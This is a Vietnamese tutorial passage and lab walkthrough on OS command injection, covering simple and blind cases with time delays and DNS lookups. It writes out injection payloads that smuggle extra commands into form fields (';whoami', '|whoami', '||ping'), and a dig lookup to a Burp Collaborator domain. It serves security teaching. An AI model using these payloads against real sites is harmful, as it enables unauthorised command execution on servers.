II. Phân tích và khai thác lỗ hổng OS command injection (tiếp)
3. Lỗ hổng OS command injection thông thường
Xét một trang web mua sắm gồm chức năng kiểm tra số lượng sản phẩm còn lại trong kho với URL như sau:
https://insecure-website.com/stockStatus?productID=381&storeID=29
Trong đó, trang web sử dụng các tham số productID
và storeID
truyền vào trong câu lệnh shell như sau:
stockreport.pl 381 29
Câu lệnh sẽ trả vể kết quả trong giao diện người dùng. Chú ý rằng ở đây, hai tham số productID
và storeID
có thể bị thay đổi bởi người dùng, nên chúng ta có thể lợi dụng cơ chế này tạo ra một cuộc tấn công Command injection. Kẻ tấn công có thể truyền cho tham số productID
giá trị & echo aiwefwlguh &
. Khi đó câu lệnh shell trở thành:
stockreport.pl & echo aiwefwlguh & 29
Như chúng ta đã phân tích về ký tự &
ở phía trên, câu lệnh trên thực chất là ba lệnh thực thi đồng thời: stockreport.pl
, echo aiwefwlguh
và 29
. Khi đó trong giao diện trả về kết quả như sau:
Error - productID was not provided
aiwefwlguh
29: command not found
Ở dòng đâu tiên, lệnh stockreport.pl
thực thi thất bại do thiếu tham số truyền vào, câu lệnh thứ hai thực thi thành công, câu lệnh thứ ba 29
hệ thống không tìm thấy lệnh này dẫn tới error. Chúng ta chỉ cần quan tâm tới kết quả câu lệnh thứ hai, chuỗi aiwefwlguh
trả về nghĩa là lệnh echo
thực thi thành công. Chúng ta xác nhận tại đây có thể khai thác lỗ hổng Command injection.
Phân tích lab OS command injection, simple case
Miêu tả: Trang web chứa lỗ hổng Command injection trong chức năng kiểm tra số lượng sản phẩm còn lại. Biết rằng hệ thống sử dụng các tham số productId
và storeId
yêu cầu từ người dùng trả về kết quả sau khi thực thi lệnh shell tại server. Để giải quyết bài lab, chúng ta cần thực thi lệnh whoami
trả về kết quả người dùng hiện tại trong server.
Tại mục xem chi tiết sản phẩm, chức năng Check stock cho phép người dùng kiểm tra số lượng đơn hàng còn lại trong kho.
Quan sát request trong Burp Suite:
Chúng ta thấy request sử dụng phương thức POST truyền tới hệ thống hai tham số productId
và storeId
. Hai giá trị này có thể thay đổi tùy ý bởi người dùng.
Do hệ thống truyền trực tiếp giá trị các tham số này vào câu lệnh shell, nên chúng ta có thể thay đổi giá trị nhằm thực thi lệnh shell tùy ý, chẳng hạn: Thực thi lệnh id
xem user ID (uid), group ID nhóm (gid) và các nhóm mà họ là thành viên.
Lúc này, sau khi thực thi lệnh shell lấy kết quả số lượng sản phẩm còn lại, hệ thống đồng thời thực thi lệnh id
trả về kết quả uid=12001(peter-CUXeyH) gid=12001(peter) groups=12001(peter)
:
Một số payload có thể sử dụng:
- Payload 1: Sử dụng
;
ngắt lệnh, sau đó thực thi lệnhwhoami
:productId=1&storeId=1;whoami
- Payload 2: Ngắt lệnh bằng
|
:productId=1&storeId=1|whoami
- Payload 3: Ngắt lệnh bằng
%0d
:
Còn nhiều payload khác dành cho các bạn tìm hiểu!
4. Lỗ hổng Blind OS command injection
Trong quá trình tìm hiểu cách hoạt động các hàm có thể dẫn tới lỗ hổng OS command injection ở phần trên, chúng ta thấy có một số hàm sẽ trả về kết quả tại giao diện trình duyệt, còn một số hàm chỉ thực thi câu lệnh nhưng không trả về kết quả, mà hiển thị kết quả gián tiếp thông qua các lệnh ghi dữ liệu khác. Trong thực tế, lỗ hổng OS Command injection cũng vậy, không phải lúc nào trang web cũng sẽ trả về kết quả lệnh shell chúng ta inject rõ ràng như trong trường hợp trên. Tuy nhiên cũng không thể phủ định tại đó không xuất hiện lỗ hổng OS Command injection. Dạng lỗ hổng này được gọi là Blind OS command injection vulnerabilities.
Xét một trang web chứa chức năng cho phép người dùng điền thông tin cá nhân khi đặt hàng, trong đó người dùng có nhập địa chỉ email và thông báo đặt hàng thành công sẽ được phản hồi tới email của họ. Để thực hiện điều này, trang web thực thi chương trình gửi thư với đầu vào là email từ người dùng như sau:
mail -s "Content of Email" -aFrom:peter@normal-user.net notification@vulnerable-website.com
Tất nhiên ở trường hợp này sẽ không phản hồi kết quả của các lệnh shell do người dùng inject. Vậy thì vấn đề đặt ra là, làm sao để kiểm tra, hay có dấu hiệu gì giúp chúng ta xác định dạng lỗ hổng "blind" này?
5. Kiểm tra lỗ hổng Blind OS command injection bằng time delays
Chúng ta có thể kiểm tra lỗ hổng này bằng cách sử dụng một lệnh sau khi inject sẽ khiến phản hồi hệ thống chứa độ trễ thời gian. Qua đó bằng cách quan sát cho phép chúng ta xác nhận rằng lệnh đã được thực thi dựa trên thời gian ứng dụng delay và phản hồi. Lệnh ping
chắc chắn là một lựa chọn tốt trong trường hợp này:
& ping -c 10 127.0.0.1 &
Ví dụ dòng lệnh trên sẽ khiến ứng dụng thực hiện ping tới localhost trong giây.
Phân tích lab Blind OS command injection with time delays
Miêu tả: Trang web chứa lỗ hổng Command injection dạng blind trong chức năng feedback từ người dùng, tuy nhiên output không được hiển thị. Biết rằng hệ thống thực thi lệnh shell tại server với các tham số đầu vào từ người dùng. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng khiến hệ thống bị delay trong giây.
Chức năng Submit feedback cho phép người dùng nhập các trường name
, email
, subject
, messsage
. Những giá trị này được truyền tới hệ thống qua phương thức POST:
Để kiểm tra hệ thống có tồn tại lỗ hổng Command injection hay không, chúng ta có thể sử dụng lệnh dig
nhằm thực hiện DNS lookup kiểm tra phản hồi từ server. Có thể sử dụng nhiều domain miễn phí. Ở đây tôi sử dụng Burp Collaborator, với domain name: 8s1uu77drmsnrws11qcmew82nttrhg.burpcollaborator.net
, thêm ;dig+8s1uu77drmsnrws11qcmew82nttrhg.burpcollaborator.net
vào sau từng tham số để kiểm tra:
Tham số email
trả về DNS lookup thành công. Như vậy giá trị email
được sử dụng trong shell command tại server. Có thể sử dụng lệnh ping
gây deley giây hệ thống:
Payload: email=hacker%40gmail.com||ping+-c+10+127.0.0.1||